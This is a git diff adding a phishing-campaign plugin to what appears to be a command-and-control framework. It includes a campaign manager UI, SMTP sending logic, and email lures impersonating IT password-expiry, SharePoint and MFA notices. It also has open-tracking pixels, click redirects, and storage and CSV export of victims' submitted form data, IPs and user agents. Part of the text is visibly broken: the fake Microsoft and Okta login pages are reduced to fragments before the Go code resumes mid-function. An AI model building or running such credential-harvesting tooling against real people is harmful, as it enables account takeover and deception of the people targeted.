diff --git a/AdaptixServer/extenders/phishing_service/Makefile b/AdaptixServer/extenders/phishing_service/Makefile new file mode 100644 index 00000000..5380772a --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/Makefile @@ -0,0 +1,10 @@ +all: clean + @ echo " * Building phishing service plugin" + @ mkdir dist + @ cp config.yaml ax_config.axs ./dist/ + @ cp -r templates landers ./dist/ + @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/service_phishing.so *.go + @ echo " done..." + +clean: + @ rm -rf dist diff --git a/AdaptixServer/extenders/phishing_service/ax_config.axs b/AdaptixServer/extenders/phishing_service/ax_config.axs new file mode 100644 index 00000000..e7b8f689 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/ax_config.axs @@ -0,0 +1,756 @@ +/// Phishing Service - UI + +let campaignsDock = null; +let resultsDock = null; +let campaignsTable = null; +let resultsTable = null; +let campaignFilter = null; +let campaignsData = []; +let allResults = {}; +let activePreview = null; + +// ============================================================================ +// InitService - Called when service is loaded +// ============================================================================ + +function InitService() { + createCampaignsDock(); + createResultsDock(); + loadInitialData(); +} + +// ============================================================================ +// Data Handler - Receives data from server +// ============================================================================ + +function data_handler(data) { + try { + let json = JSON.parse(data); + let msgType = json.type; + + if (msgType === "campaigns") { + campaignsData = json.data || []; + refreshCampaignsTable(); + } + else if (msgType === "targets") { + showTargetsDialog(json.data.campaign_id, json.data.targets || []); + } + else if (msgType === "results") { + let cid = json.data.campaign_id; + allResults[cid] = json.data.results || []; + refreshResultsTable(); + } + else if (msgType === "event") { + handleEvent(json.event, json.data); + } + else if (msgType === "error") { + ax.show_message("Phishing Error", json.message); + } + else if (msgType === "templates") { + cachedTemplates = json.data || []; + } + else if (msgType === "landers") { + cachedLanders = json.data || []; + } + else if (msgType === "preview") { + if (activePreview) { + activePreview.setHtml(json.data.html); + } + } + else if (msgType === "export") { + let filename = "phishing_results_" + json.data.campaign_id + ".csv"; + let path = ax.prompt_save_file(filename, "Export Results", "CSV Files (*.csv)"); + if (path) { + ax.file_write_text(path, json.data.csv, false); + } + } + } catch (e) { + ax.log_error("Phishing: parse error: " + e); + } +} + +// ============================================================================ +// Campaigns Dock +// ============================================================================ + +let cachedTemplates = []; +let cachedLanders = []; + +function createCampaignsDock() { + campaignsDock = form.create_ext_dock("phishing_campaigns", "Phishing Campaigns", ""); + + let mainLayout = form.create_vlayout(); + + // Toolbar + let toolbar = form.create_hlayout(); + + let btnNew = form.create_button("New Campaign"); + let btnStart = form.create_button("Start"); + let btnStop = form.create_button("Stop"); + let btnDelete = form.create_button("Delete"); + let btnTargets = form.create_button("Targets"); + let btnRefresh = form.create_button("Refresh"); + + toolbar.addWidget(btnNew); + toolbar.addWidget(btnStart); + toolbar.addWidget(btnStop); + toolbar.addWidget(btnTargets); + toolbar.addWidget(btnDelete); + toolbar.addWidget(form.create_hspacer()); + toolbar.addWidget(btnRefresh); + + let toolbarPanel = form.create_panel(); + toolbarPanel.setLayout(toolbar); + mainLayout.addWidget(toolbarPanel); + + // Table + campaignsTable = form.create_table(["Name", "Status", "Targets", "Sent", "Opened", "Clicked", "Submitted", "Errors", "Created By"]); + campaignsTable.setSortingEnabled(true); + campaignsTable.setReadOnly(true); + mainLayout.addWidget(campaignsTable); + + campaignsDock.setLayout(mainLayout); + campaignsDock.setSize(900, 400); + campaignsDock.show(); + + // Signals + form.connect(btnNew, "clicked", function() { + ax.service_command("Phishing", "templates_list", {}); + ax.service_command("Phishing", "landers_list", {}); + // Small delay to let templates/landers load before showing dialog + event.on_timeout(function() { showNewCampaignDialog(); }, 1); + }); + + form.connect(btnStart, "clicked", function() { + let rows = campaignsTable.selectedRows(); + if (rows.length === 0) return; + let cid = getCampaignIDByRow(rows[0]); + if (cid) { + if (ax.prompt_confirm("Start Campaign", "Send emails for this campaign?")) { + ax.service_command("Phishing", "campaign_start", {id: cid}); + } + } + }); + + form.connect(btnStop, "clicked", function() { + let rows = campaignsTable.selectedRows(); + if (rows.length === 0) return; + let cid = getCampaignIDByRow(rows[0]); + if (cid) { + ax.service_command("Phishing", "campaign_stop", {id: cid}); + } + }); + + form.connect(btnDelete, "clicked", function() { + let rows = campaignsTable.selectedRows(); + if (rows.length === 0) return; + let cid = getCampaignIDByRow(rows[0]); + if (cid) { + if (ax.prompt_confirm("Delete Campaign", "Delete this campaign and all its data?")) { + ax.service_command("Phishing", "campaign_delete", {id: cid}); + } + } + }); + + form.connect(btnTargets, "clicked", function() { + let rows = campaignsTable.selectedRows(); + if (rows.length === 0) return; + let cid = getCampaignIDByRow(rows[0]); + if (cid) { + ax.service_command("Phishing", "targets_list", {campaign_id: cid}); + } + }); + + form.connect(btnRefresh, "clicked", function() { + loadInitialData(); + }); + + form.connect(campaignsTable, "cellDoubleClicked", function(row, col) { + let cid = getCampaignIDByRow(row); + if (cid) { + ax.service_command("Phishing", "results_list", {campaign_id: cid}); + } + }); +} + +function refreshCampaignsTable() { + if (!campaignsTable) return; + + campaignsTable.setRowCount(0); + if (!campaignsData) return; + + for (let i = 0; i < campaignsData.length; i++) { + let c = campaignsData[i]; + let created = c.created_at ? ax.format_time("yyyy-MM-dd HH:mm", c.created_at) : ""; + campaignsTable.addItem([ + c.name || "", + c.status || "", + String(c.total_targets || 0), + String(c.sent || 0), + String(c.opened || 0), + String(c.clicked || 0), + String(c.submitted || 0), + String(c.errors || 0), + c.created_by || "" + ]); + } + + // Update filter combo in results dock + updateCampaignFilter(); +} + +function getCampaignIDByRow(row) { + if (!campaignsData || row < 0 || row >= campaignsData.length) return null; + return campaignsData[row].id; +} + +// ============================================================================ +// New Campaign Dialog +// ============================================================================ + +function showNewCampaignDialog() { + let dialog = form.create_dialog("New Phishing Campaign"); + dialog.setSize(920, 700); + + // ======================= Form fields ======================= + + let txtName = form.create_textline(""); + txtName.setPlaceholder("Q1-2025 Password Audit - Finance Dept"); + let txtSubject = form.create_textline(""); + txtSubject.setPlaceholder("Action Required: Your password expires in 24 hours"); + let txtSenderEmail = form.create_textline(""); + txtSenderEmail.setPlaceholder("it-security@contoso.com"); + let txtSenderName = form.create_textline(""); + txtSenderName.setPlaceholder("IT Service Desk"); + + let txtSmtpHost = form.create_textline(""); + txtSmtpHost.setPlaceholder("smtp.gmail.com"); + let spinSmtpPort = form.create_spin(); + spinSmtpPort.setRange(1, 65535); + spinSmtpPort.setValue(587); + let txtSmtpUser = form.create_textline(""); + txtSmtpUser.setPlaceholder("relay@yourdomain.com"); + let txtSmtpPass = form.create_textline(""); + txtSmtpPass.setPlaceholder("App password or SMTP credential"); + let chkSmtpTLS = form.create_check("Enable TLS"); + chkSmtpTLS.setChecked(true); + + let cmbTemplate = form.create_combo(); + let cmbLander = form.create_combo(); + if (cachedTemplates && cachedTemplates.length > 0) { + for (let i = 0; i < cachedTemplates.length; i++) cmbTemplate.addItem(cachedTemplates[i]); + } + if (cachedLanders && cachedLanders.length > 0) { + for (let i = 0; i < cachedLanders.length; i++) cmbLander.addItem(cachedLanders[i]); + } + + let txtBaseURL = form.create_textline(""); + txtBaseURL.setPlaceholder("https://portal-auth.contoso.com"); + let txtRedirectURL = form.create_textline("https://login.microsoftonline.com"); + let chkTrackOpens = form.create_check("Track email opens (1x1 tracking pixel)"); + chkTrackOpens.setChecked(true); + let chkTrackClicks = form.create_check("Track link clicks (redirect through server)"); + chkTrackClicks.setChecked(true); + let spinDelay = form.create_spin(); + spinDelay.setRange(0, 300); + spinDelay.setValue(3); + + // Preview browser + let previewBrowser = form.create_textbrowser(); + activePreview = previewBrowser; + + // ======================= Layout ======================= + + let pageLayout = form.create_vlayout(); + + // --- Campaign Identity --- + let identGrid = form.create_gridlayout(); + identGrid.addWidget(form.create_label("Name *"), 0, 0); + identGrid.addWidget(txtName, 0, 1); + identGrid.addWidget(form.create_label("Subject *"), 1, 0); + identGrid.addWidget(txtSubject, 1, 1); + + let identInner = form.create_panel(); + identInner.setLayout(identGrid); + let grpIdent = form.create_groupbox("Campaign Identity", false); + grpIdent.setPanel(identInner); + pageLayout.addWidget(grpIdent); + + // --- Sender --- + let senderGrid = form.create_gridlayout(); + senderGrid.addWidget(form.create_label("Email *"), 0, 0); + senderGrid.addWidget(txtSenderEmail, 0, 1); + senderGrid.addWidget(form.create_label("Display Name"), 1, 0); + senderGrid.addWidget(txtSenderName, 1, 1); + + let senderInner = form.create_panel(); + senderInner.setLayout(senderGrid); + let grpSender = form.create_groupbox("Sender (From)", false); + grpSender.setPanel(senderInner); + pageLayout.addWidget(grpSender); + + // --- SMTP Server --- + let smtpGrid = form.create_gridlayout(); + smtpGrid.addWidget(form.create_label("Host *"), 0, 0); + smtpGrid.addWidget(txtSmtpHost, 0, 1); + smtpGrid.addWidget(form.create_label("Port"), 1, 0); + let portRow = form.create_hlayout(); + portRow.addWidget(spinSmtpPort); + portRow.addWidget(form.create_label(" 587=STARTTLS 465=SMTPS 25=Plain")); + let portPanel = form.create_panel(); + portPanel.setLayout(portRow); + smtpGrid.addWidget(portPanel, 1, 1); + smtpGrid.addWidget(form.create_label("Username"), 2, 0); + smtpGrid.addWidget(txtSmtpUser, 2, 1); + smtpGrid.addWidget(form.create_label("Password"), 3, 0); + smtpGrid.addWidget(txtSmtpPass, 3, 1); + smtpGrid.addWidget(chkSmtpTLS, 4, 1); + + let smtpInner = form.create_panel(); + smtpInner.setLayout(smtpGrid); + let grpSmtp = form.create_groupbox("SMTP Server", false); + grpSmtp.setPanel(smtpInner); + pageLayout.addWidget(grpSmtp); + + // --- Content & Preview (splitter) --- + let contentGrid = form.create_gridlayout(); + contentGrid.addWidget(form.create_label("Email Template"), 0, 0); + contentGrid.addWidget(cmbTemplate, 0, 1); + contentGrid.addWidget(form.create_label("Landing Page"), 1, 0); + contentGrid.addWidget(cmbLander, 1, 1); + + // Template descriptions table + let tplDesc = form.create_table(["Template", "Scenario", "Best paired with"]); + tplDesc.setReadOnly(true); + tplDesc.setSortingEnabled(false); + tplDesc.setHeadersVisible(true); + tplDesc.addItem(["password_expiry", "Password expiration alert", "microsoft_login"]); + tplDesc.addItem(["shared_document", "SharePoint file share", "microsoft_login"]); + tplDesc.addItem(["voicemail_notification", "Teams voicemail received", "microsoft_login"]); + tplDesc.addItem(["helpdesk_ticket", "IT support ticket opened", "okta_login"]); + tplDesc.addItem(["mfa_setup", "MFA enrollment required", "okta_login"]); + tplDesc.addItem(["default_email", "Generic document review", "default_login"]); + + // Left side: combos + reference table + let leftLayout = form.create_vlayout(); + let contentGridPanel = form.create_panel(); + contentGridPanel.setLayout(contentGrid); + leftLayout.addWidget(contentGridPanel); + leftLayout.addWidget(tplDesc); + + let leftPanel = form.create_panel(); + leftPanel.setLayout(leftLayout); + + // Right side: HTML preview + let rightLayout = form.create_vlayout(); + rightLayout.addWidget(form.create_label("Preview")); + rightLayout.addWidget(previewBrowser); + + let rightPanel = form.create_panel(); + rightPanel.setLayout(rightLayout); + + // Splitter: left controls | right preview + let contentSplitter = form.create_hsplitter(); + contentSplitter.addPage(leftPanel); + contentSplitter.addPage(rightPanel); + contentSplitter.setSizes([320, 540]); + + let contentSplitLayout = form.create_vlayout(); + contentSplitLayout.addWidget(contentSplitter); + + let contentInner = form.create_panel(); + contentInner.setLayout(contentSplitLayout); + let grpContent = form.create_groupbox("Content & Preview", false); + grpContent.setPanel(contentInner); + pageLayout.addWidget(grpContent); + + // Connect combos to preview + form.connect(cmbTemplate, "currentTextChanged", function(text) { + if (text) ax.service_command("Phishing", "template_preview", {type: "template", name: text}); + }); + form.connect(cmbLander, "currentTextChanged", function(text) { + if (text) ax.service_command("Phishing", "template_preview", {type: "lander", name: text}); + }); + + // Load initial preview for the first selected template + if (cmbTemplate.currentText()) { + ax.service_command("Phishing", "template_preview", {type: "template", name: cmbTemplate.currentText()}); + } + + // --- Tracking & Delivery --- + let trackGrid = form.create_gridlayout(); + trackGrid.addWidget(form.create_label("Base URL *"), 0, 0); + trackGrid.addWidget(txtBaseURL, 0, 1); + trackGrid.addWidget(form.create_label("Redirect URL"), 1, 0); + trackGrid.addWidget(txtRedirectURL, 1, 1); + trackGrid.addWidget(chkTrackOpens, 2, 1); + trackGrid.addWidget(chkTrackClicks, 3, 1); + trackGrid.addWidget(form.create_label("Send Delay (s)"), 4, 0); + let delayRow = form.create_hlayout(); + delayRow.addWidget(spinDelay); + delayRow.addWidget(form.create_label(" Seconds between each email sent")); + let delayPanel = form.create_panel(); + delayPanel.setLayout(delayRow); + trackGrid.addWidget(delayPanel, 4, 1); + + let trackInner = form.create_panel(); + trackInner.setLayout(trackGrid); + let grpTrack = form.create_groupbox("Tracking & Delivery", false); + grpTrack.setPanel(trackInner); + pageLayout.addWidget(grpTrack); + + // --- Spacer at bottom --- + pageLayout.addWidget(form.create_vspacer()); + + // --- Scrollable container --- + let scrollContent = form.create_panel(); + scrollContent.setLayout(pageLayout); + let scrollArea = form.create_scrollarea(); + scrollArea.setPanel(scrollContent); + scrollArea.setWidgetResizable(true); + + let mainLayout = form.create_vlayout(); + mainLayout.addWidget(scrollArea); + dialog.setLayout(mainLayout); + + let accepted = dialog.exec(); + activePreview = null; + + if (accepted === true) { + let campaign = { + name: txtName.text(), + subject: txtSubject.text(), + sender_email: txtSenderEmail.text(), + sender_name: txtSenderName.text(), + smtp_host: txtSmtpHost.text(), + smtp_port: spinSmtpPort.value(), + smtp_user: txtSmtpUser.text(), + smtp_pass: txtSmtpPass.text(), + smtp_tls: chkSmtpTLS.isChecked(), + template: cmbTemplate.currentText(), + lander: cmbLander.currentText(), + base_url: txtBaseURL.text(), + redirect_url: txtRedirectURL.text(), + track_opens: chkTrackOpens.isChecked(), + track_clicks: chkTrackClicks.isChecked(), + send_delay: spinDelay.value() + }; + + if (!campaign.name || !campaign.smtp_host || !campaign.sender_email || !campaign.base_url) { + ax.show_message("Error", "Required fields: Campaign Name, SMTP Host, Sender Email, Base URL"); + return; + } + + ax.service_command("Phishing", "campaign_create", campaign); + } +} + +// ============================================================================ +// Targets Dialog +// ============================================================================ + +function showTargetsDialog(campaignID, targets) { + let dialog = form.create_ext_dialog("Targets - Campaign"); + dialog.setSize(700, 500); + + let mainLayout = form.create_vlayout(); + + // Toolbar + let toolbar = form.create_hlayout(); + let btnImport = form.create_button("Import CSV"); + let btnDelete = form.create_button("Delete Selected"); + toolbar.addWidget(btnImport); + toolbar.addWidget(btnDelete); + toolbar.addWidget(form.create_hspacer()); + + let tgtToolbarPanel = form.create_panel(); + tgtToolbarPanel.setLayout(toolbar); + mainLayout.addWidget(tgtToolbarPanel); + + // Table + let tgtTable = form.create_table(["Email", "First Name", "Last Name", "Position", "Company"]); + tgtTable.setSortingEnabled(true); + tgtTable.setReadOnly(true); + + if (targets) { + for (let i = 0; i < targets.length; i++) { + let t = targets[i]; + tgtTable.addItem([t.email, t.first_name, t.last_name, t.position, t.company]); + } + } + mainLayout.addWidget(tgtTable); + + dialog.setLayout(mainLayout); + + form.connect(btnImport, "clicked", function() { + let csvDialog = form.create_dialog("Import Targets (CSV)"); + csvDialog.setSize(560, 450); + + let csvLayout = form.create_vlayout(); + csvLayout.addWidget(form.create_label("Paste CSV data or load a file. Columns: email, first_name, last_name, position, company")); + csvLayout.addWidget(form.create_label("The first row must be column headers. Only 'email' is required.")); + let csvText = form.create_textmulti("email,first_name,last_name,position,company\njohn.doe@contoso.com,John,Doe,CFO,Contoso Ltd\njane.smith@contoso.com,Jane,Smith,IT Manager,Contoso Ltd\n"); + csvLayout.addWidget(csvText); + + let orLabel = form.create_label("Or load from file:"); + csvLayout.addWidget(orLabel); + + let btnFile = form.create_button("Load CSV File"); + csvLayout.addWidget(btnFile); + + form.connect(btnFile, "clicked", function() { + let path = ax.prompt_open_file("Select CSV file", "CSV Files (*.csv);;All Files (*)"); + if (path) { + let content = ax.file_read(path); + if (content) { + csvText.setText(content); + } + } + }); + + csvDialog.setLayout(csvLayout); + if (csvDialog.exec() === true) { + let csv = csvText.text(); + if (csv && csv.trim().length > 0) { + ax.service_command("Phishing", "targets_import", { + campaign_id: campaignID, + csv: csv + }); + } + } + }); + + form.connect(btnDelete, "clicked", function() { + let rows = tgtTable.selectedRows(); + if (rows.length === 0) return; + + let ids = []; + for (let i = 0; i < rows.length; i++) { + if (targets && rows[i] < targets.length) { + ids.push(targets[rows[i]].id); + } + } + + if (ids.length > 0 && ax.prompt_confirm("Delete Targets", "Delete " + ids.length + " selected target(s)?")) { + ax.service_command("Phishing", "targets_delete", { + campaign_id: campaignID, + ids: ids + }); + } + }); + + dialog.show(); +} + +// ============================================================================ +// Results Dock +// ============================================================================ + +function createResultsDock() { + resultsDock = form.create_ext_dock("phishing_results", "Phishing Results", ""); + + let mainLayout = form.create_vlayout(); + + // Filter bar + let filterLayout = form.create_hlayout(); + filterLayout.addWidget(form.create_label("Campaign:")); + campaignFilter = form.create_combo(); + campaignFilter.addItem("-- All --"); + filterLayout.addWidget(campaignFilter); + + let btnExport = form.create_button("Export CSV"); + let btnRefresh = form.create_button("Refresh"); + filterLayout.addWidget(form.create_hspacer()); + filterLayout.addWidget(btnExport); + filterLayout.addWidget(btnRefresh); + + let filterPanel = form.create_panel(); + filterPanel.setLayout(filterLayout); + mainLayout.addWidget(filterPanel); + + // Table + resultsTable = form.create_table(["Campaign", "Email", "Name", "Status", "Sent", "Opened", "Clicked", "Submitted", "IP", "User Agent"]); + resultsTable.setSortingEnabled(true); + resultsTable.setReadOnly(true); + mainLayout.addWidget(resultsTable); + + resultsDock.setLayout(mainLayout); + resultsDock.setSize(1000, 400); + resultsDock.show(); + + // Signals + form.connect(campaignFilter, "currentTextChanged", function(text) { + refreshResultsTable(); + }); + + form.connect(btnExport, "clicked", function() { + let cid = getSelectedCampaignID(); + if (cid) { + ax.service_command("Phishing", "results_export", {campaign_id: cid}); + } else { + ax.show_message("Export", "Please select a specific campaign to export"); + } + }); + + form.connect(btnRefresh, "clicked", function() { + loadAllResults(); + }); + + form.connect(resultsTable, "cellDoubleClicked", function(row, col) { + showResultDetail(row); + }); +} + +function updateCampaignFilter() { + if (!campaignFilter) return; + + let current = campaignFilter.currentText(); + campaignFilter.clear(); + campaignFilter.addItem("-- All --"); + + if (campaignsData) { + for (let i = 0; i < campaignsData.length; i++) { + campaignFilter.addItem(campaignsData[i].name); + } + } + + // Restore selection + for (let i = 0; i < campaignFilter.count; i++) { + if (campaignFilter.itemText && campaignFilter.itemText(i) === current) { + campaignFilter.setCurrentIndex(i); + return; + } + } +} + +function getSelectedCampaignID() { + if (!campaignFilter) return null; + let text = campaignFilter.currentText(); + if (text === "-- All --") return null; + + if (campaignsData) { + for (let i = 0; i < campaignsData.length; i++) { + if (campaignsData[i].name === text) { + return campaignsData[i].id; + } + } + } + return null; +} + +function refreshResultsTable() { + if (!resultsTable) return; + resultsTable.setRowCount(0); + + let filterCampaign = getSelectedCampaignID(); + + for (let cid in allResults) { + if (filterCampaign && cid !== filterCampaign) continue; + + let campaignName = getCampaignNameByID(cid); + let results = allResults[cid]; + if (!results) continue; + + for (let i = 0; i < results.length; i++) { + let r = results[i]; + let name = (r.first_name || "") + " " + (r.last_name || ""); + let sentAt = r.sent_at ? ax.format_time("HH:mm:ss", r.sent_at) : ""; + let openedAt = r.opened_at ? ax.format_time("HH:mm:ss", r.opened_at) : ""; + let clickedAt = r.clicked_at ? ax.format_time("HH:mm:ss", r.clicked_at) : ""; + let submitAt = r.submit_at ? ax.format_time("HH:mm:ss", r.submit_at) : ""; + + resultsTable.addItem([ + campaignName, + r.email || "", + name.trim(), + r.status || "", + sentAt, + openedAt, + clickedAt, + submitAt, + r.remote_ip || "", + r.user_agent || "" + ]); + } + } +} + +function getCampaignNameByID(id) { + if (campaignsData) { + for (let i = 0; i < campaignsData.length; i++) { + if (campaignsData[i].id === id) return campaignsData[i].name; + } + } + return id; +} + +function showResultDetail(row) { + // Collect result data from the table row for display + let campaign = resultsTable.text(row, 0); + let email = resultsTable.text(row, 1); + let name = resultsTable.text(row, 2); + let status = resultsTable.text(row, 3); + let ip = resultsTable.text(row, 8); + let ua = resultsTable.text(row, 9); + + let detail = "Campaign: " + campaign + "\n" + + "Email: " + email + "\n" + + "Name: " + name + "\n" + + "Status: " + status + "\n" + + "IP: " + ip + "\n" + + "User Agent: " + ua; + + ax.show_message("Result Detail", detail); +} + +// ============================================================================ +// Event Handling +// ============================================================================ + +function handleEvent(eventType, data) { + if (!data || !data.campaign_id) return; + + let cid = data.campaign_id; + let result = data.result; + + // Update local results cache + if (result && allResults[cid]) { + let found = false; + for (let i = 0; i < allResults[cid].length; i++) { + if (allResults[cid][i].id === result.id) { + allResults[cid][i] = result; + found = true; + break; + } + } + if (!found) { + allResults[cid].push(result); + } + } else if (result && !allResults[cid]) { + allResults[cid] = [result]; + } + + refreshResultsTable(); + + // Also refresh campaign stats + ax.service_command("Phishing", "campaign_list", {}); +} + +// ============================================================================ +// Data Loading +// ============================================================================ + +function loadInitialData() { + ax.service_command("Phishing", "campaign_list", {}); + ax.service_command("Phishing", "templates_list", {}); + ax.service_command("Phishing", "landers_list", {}); + loadAllResults(); +} + +function loadAllResults() { + if (campaignsData) { + for (let i = 0; i < campaignsData.length; i++) { + ax.service_command("Phishing", "results_list", {campaign_id: campaignsData[i].id}); + } + } +} diff --git a/AdaptixServer/extenders/phishing_service/config.yaml b/AdaptixServer/extenders/phishing_service/config.yaml new file mode 100644 index 00000000..14a844cc --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/config.yaml @@ -0,0 +1,5 @@ +extender_type: "service" +extender_file: "service_phishing.so" +ax_file: "ax_config.axs" +service_name: "Phishing" +service_config: "" diff --git a/AdaptixServer/extenders/phishing_service/go.mod b/AdaptixServer/extenders/phishing_service/go.mod new file mode 100644 index 00000000..8c43b8f3 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/go.mod @@ -0,0 +1,5 @@ +module adaptix_service_phishing + +go 1.25.4 + +require github.com/Adaptix-Framework/axc2 v1.2.0 diff --git a/AdaptixServer/extenders/phishing_service/go.sum b/AdaptixServer/extenders/phishing_service/go.sum new file mode 100644 index 00000000..8889bb84 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/go.sum @@ -0,0 +1,2 @@ +github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= diff --git a/AdaptixServer/extenders/phishing_service/landers/default_login.html b/AdaptixServer/extenders/phishing_service/landers/default_login.html new file mode 100644 index 00000000..4bb1379c --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/landers/default_login.html @@ -0,0 +1,116 @@ + + +
+ + +Powered by Okta
+| + + | +
"); idx >= 0 { + body = body[:idx] + pixel + body[idx:] + } else { + body += pixel + } + } + + return body +} + +func renderSubject(subject string, target Target) string { + r := strings.NewReplacer( + "{{.FirstName}}", target.FirstName, + "{{.LastName}}", target.LastName, + "{{.Email}}", target.Email, + "{{.Company}}", target.Company, + "{{.Position}}", target.Position, + ) + return r.Replace(subject) +} + +// ============================================================================ +// CSV Parsing +// ============================================================================ + +func parseCSV(csvData string, campaignID string) []Target { + var targets []Target + lines := strings.Split(strings.TrimSpace(csvData), "\n") + if len(lines) < 2 { + return targets + } + + header := strings.Split(strings.TrimSpace(lines[0]), ",") + colMap := make(map[string]int) + for i, h := range header { + colMap[strings.ToLower(strings.TrimSpace(h))] = i + } + + for _, line := range lines[1:] { + line = strings.TrimSpace(line) + if line == "" { + continue + } + cols := strings.Split(line, ",") + + t := Target{ + ID: generateID(), + CampaignID: campaignID, + } + + if idx, ok := colMap["email"]; ok && idx < len(cols) { + t.Email = strings.TrimSpace(cols[idx]) + } + if idx, ok := colMap["first_name"]; ok && idx < len(cols) { + t.FirstName = strings.TrimSpace(cols[idx]) + } else if idx, ok := colMap["firstname"]; ok && idx < len(cols) { + t.FirstName = strings.TrimSpace(cols[idx]) + } + if idx, ok := colMap["last_name"]; ok && idx < len(cols) { + t.LastName = strings.TrimSpace(cols[idx]) + } else if idx, ok := colMap["lastname"]; ok && idx < len(cols) { + t.LastName = strings.TrimSpace(cols[idx]) + } + if idx, ok := colMap["position"]; ok && idx < len(cols) { + t.Position = strings.TrimSpace(cols[idx]) + } + if idx, ok := colMap["company"]; ok && idx < len(cols) { + t.Company = strings.TrimSpace(cols[idx]) + } + if idx, ok := colMap["custom"]; ok && idx < len(cols) { + t.Custom = strings.TrimSpace(cols[idx]) + } + + if t.Email != "" { + targets = append(targets, t) + } + } + + return targets +} + +func resultsToCSV(results []Result) string { + var buf bytes.Buffer + buf.WriteString("email,first_name,last_name,status,sent_at,opened_at,clicked_at,submit_at,remote_ip,user_agent,submit_data\n") + for _, r := range results { + buf.WriteString(fmt.Sprintf("%s,%s,%s,%s,%d,%d,%d,%d,%s,%s,%s\n", + r.Email, r.FirstName, r.LastName, r.Status, + r.SentAt, r.OpenedAt, r.ClickedAt, r.SubmitAt, + r.RemoteIP, r.UserAgent, r.SubmitData, + )) + } + return buf.String() +} + +// ============================================================================ +// File Helpers +// ============================================================================ + +func (s *PhishingService) loadTemplate(name string) string { + path := filepath.Join(s.moduleDir, "templates", name) + data, err := os.ReadFile(path) + if err != nil { + return "" + } + return string(data) +} + +func (s *PhishingService) loadLander(name string) string { + path := filepath.Join(s.moduleDir, "landers", name) + data, err := os.ReadFile(path) + if err != nil { + return "" + } + return string(data) +} + +func (s *PhishingService) listFiles(subdir string) []string { + var files []string + dir := filepath.Join(s.moduleDir, subdir) + entries, err := os.ReadDir(dir) + if err != nil { + return files + } + for _, e := range entries { + if !e.IsDir() && strings.HasSuffix(e.Name(), ".html") { + files = append(files, e.Name()) + } + } + return files +} + +// ListCampaignsWithStats returns all campaigns enriched with their stats. +func (s *PhishingService) ListCampaignsWithStats() []map[string]interface{} { + campaigns := s.ListCampaigns() + var result []map[string]interface{} + for _, c := range campaigns { + stats := s.GetCampaignStats(c.ID) + entry := map[string]interface{}{ + "id": c.ID, + "name": c.Name, + "status": c.Status, + "smtp_host": c.SmtpHost, + "smtp_port": c.SmtpPort, + "smtp_user": c.SmtpUser, + "smtp_pass": c.SmtpPass, + "smtp_tls": c.SmtpTLS, + "sender_email": c.SenderEmail, + "sender_name": c.SenderName, + "subject": c.Subject, + "template": c.Template, + "lander": c.Lander, + "track_opens": c.TrackOpens, + "track_clicks": c.TrackClicks, + "base_url": c.BaseURL, + "redirect_url": c.RedirectURL, + "send_delay": c.SendDelay, + "created_at": c.CreatedAt, + "created_by": c.CreatedBy, + "total_targets": stats.TotalTargets, + "sent": stats.Sent, + "opened": stats.Opened, + "clicked": stats.Clicked, + "submitted": stats.Submitted, + "errors": stats.Errors, + } + result = append(result, entry) + } + return result +} diff --git a/AdaptixServer/extenders/phishing_service/pl_data.go b/AdaptixServer/extenders/phishing_service/pl_data.go new file mode 100644 index 00000000..9542b937 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/pl_data.go @@ -0,0 +1,261 @@ +package main + +import ( + "crypto/rand" + "encoding/hex" + "encoding/json" + "fmt" + "strings" + "time" +) + +// ============================================================================ +// Data Models +// ============================================================================ + +type Campaign struct { + ID string `json:"id"` + Name string `json:"name"` + Status string `json:"status"` // draft, running, paused, completed + SmtpHost string `json:"smtp_host"` + SmtpPort int `json:"smtp_port"` + SmtpUser string `json:"smtp_user"` + SmtpPass string `json:"smtp_pass"` + SmtpTLS bool `json:"smtp_tls"` + SenderEmail string `json:"sender_email"` + SenderName string `json:"sender_name"` + Subject string `json:"subject"` + Template string `json:"template"` + Lander string `json:"lander"` + TrackOpens bool `json:"track_opens"` + TrackClicks bool `json:"track_clicks"` + BaseURL string `json:"base_url"` + RedirectURL string `json:"redirect_url"` + SendDelay int `json:"send_delay"` // seconds between emails + CreatedAt int64 `json:"created_at"` + CreatedBy string `json:"created_by"` +} + +type Target struct { + ID string `json:"id"` + CampaignID string `json:"campaign_id"` + Email string `json:"email"` + FirstName string `json:"first_name"` + LastName string `json:"last_name"` + Position string `json:"position"` + Company string `json:"company"` + Custom string `json:"custom"` +} + +type Result struct { + ID string `json:"id"` + CampaignID string `json:"campaign_id"` + TargetID string `json:"target_id"` + Email string `json:"email"` + FirstName string `json:"first_name"` + LastName string `json:"last_name"` + Status string `json:"status"` // sent, delivered, opened, clicked, submitted, error + SentAt int64 `json:"sent_at"` + OpenedAt int64 `json:"opened_at"` + ClickedAt int64 `json:"clicked_at"` + SubmitAt int64 `json:"submit_at"` + UserAgent string `json:"user_agent"` + RemoteIP string `json:"remote_ip"` + SubmitData string `json:"submit_data"` + Error string `json:"error"` +} + +// ============================================================================ +// ID Generation +// ============================================================================ + +func generateID() string { + b := make([]byte, 16) + rand.Read(b) + return hex.EncodeToString(b) +} + +func generateTrackingID() string { + b := make([]byte, 12) + rand.Read(b) + return hex.EncodeToString(b) +} + +// ============================================================================ +// Campaign CRUD +// ============================================================================ + +func (s *PhishingService) SaveCampaign(c Campaign) error { + data, err := json.Marshal(c) + if err != nil { + return err + } + return s.ts.TsExtenderDataSave(ExtenderName, "campaign:"+c.ID, data) +} + +func (s *PhishingService) LoadCampaign(id string) (Campaign, error) { + var c Campaign + data, err := s.ts.TsExtenderDataLoad(ExtenderName, "campaign:"+id) + if err != nil { + return c, err + } + err = json.Unmarshal(data, &c) + return c, err +} + +func (s *PhishingService) DeleteCampaign(id string) error { + _ = s.ts.TsExtenderDataDelete(ExtenderName, "campaign:"+id) + _ = s.ts.TsExtenderDataDelete(ExtenderName, "targets:"+id) + _ = s.ts.TsExtenderDataDelete(ExtenderName, "results:"+id) + return nil 